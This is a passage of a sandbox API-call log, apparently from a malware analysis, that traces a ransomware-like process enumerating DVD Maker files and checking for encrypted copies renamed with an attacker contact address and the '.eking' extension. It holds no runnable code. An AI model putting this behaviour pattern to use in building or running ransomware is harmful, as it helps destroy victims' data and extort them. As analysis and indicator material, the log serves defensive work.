lpFileSize=0x322fcd8*=5072) returned 1 [0183.034] CloseHandle (hObject=0x1e0) returned 1 [0183.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0183.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0183.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.034] SetEvent (hEvent=0x174) returned 1 [0183.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.035] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.035] CloseHandle (hObject=0x1e0) returned 1 [0183.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0183.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0183.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.036] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.036] CloseHandle (hObject=0x1e0) returned 1 [0183.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0183.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0183.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.037] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5072) returned 1 [0183.037] CloseHandle (hObject=0x1e0) returned 1 [0183.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0183.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0183.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.042] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4570) returned 1 [0183.042] CloseHandle (hObject=0x1e0) returned 1 [0183.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0183.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0183.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.043] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2820) returned 1 [0183.043] CloseHandle (hObject=0x1e0) returned 1 [0183.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0183.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0183.043] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.044] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.046] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=23215) returned 1 [0183.046] CloseHandle (hObject=0x1e0) returned 1 [0183.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0183.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png")) returned 0x20 [0183.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.047] SetEvent (hEvent=0x174) returned 1 [0183.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.047] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=6431) returned 1 [0183.047] CloseHandle (hObject=0x1e0) returned 1 [0183.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0183.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png")) returned 0x20 [0183.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.048] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.048] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5088) returned 1 [0183.048] CloseHandle (hObject=0x1e0) returned 1 [0183.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0183.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png")) returned 0x20 [0183.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.049] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.050] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3130) returned 1 [0183.050] CloseHandle (hObject=0x1e0) returned 1 [0183.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png")) returned 0x20 [0183.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.050] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.051] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5025) returned 1 [0183.051] CloseHandle (hObject=0x1e0) returned 1 [0183.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0183.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png")) returned 0x20 [0183.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.052] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3118) returned 1 [0183.052] CloseHandle (hObject=0x1e0) returned 1 [0183.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png")) returned 0x20 [0183.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.053] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4955) returned 1 [0183.053] CloseHandle (hObject=0x1e0) returned 1 [0183.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0183.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png")) returned 0x20 [0183.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.055] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3081) returned 1 [0183.055] CloseHandle (hObject=0x1e0) returned 1 [0183.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png")) returned 0x20 [0183.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.056] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=543910) returned 1 [0183.056] CloseHandle (hObject=0x1e0) returned 1 [0183.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\panel_mask.wmv")) returned 0x20 [0183.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\Panel_Mask.wmv" (normalized: 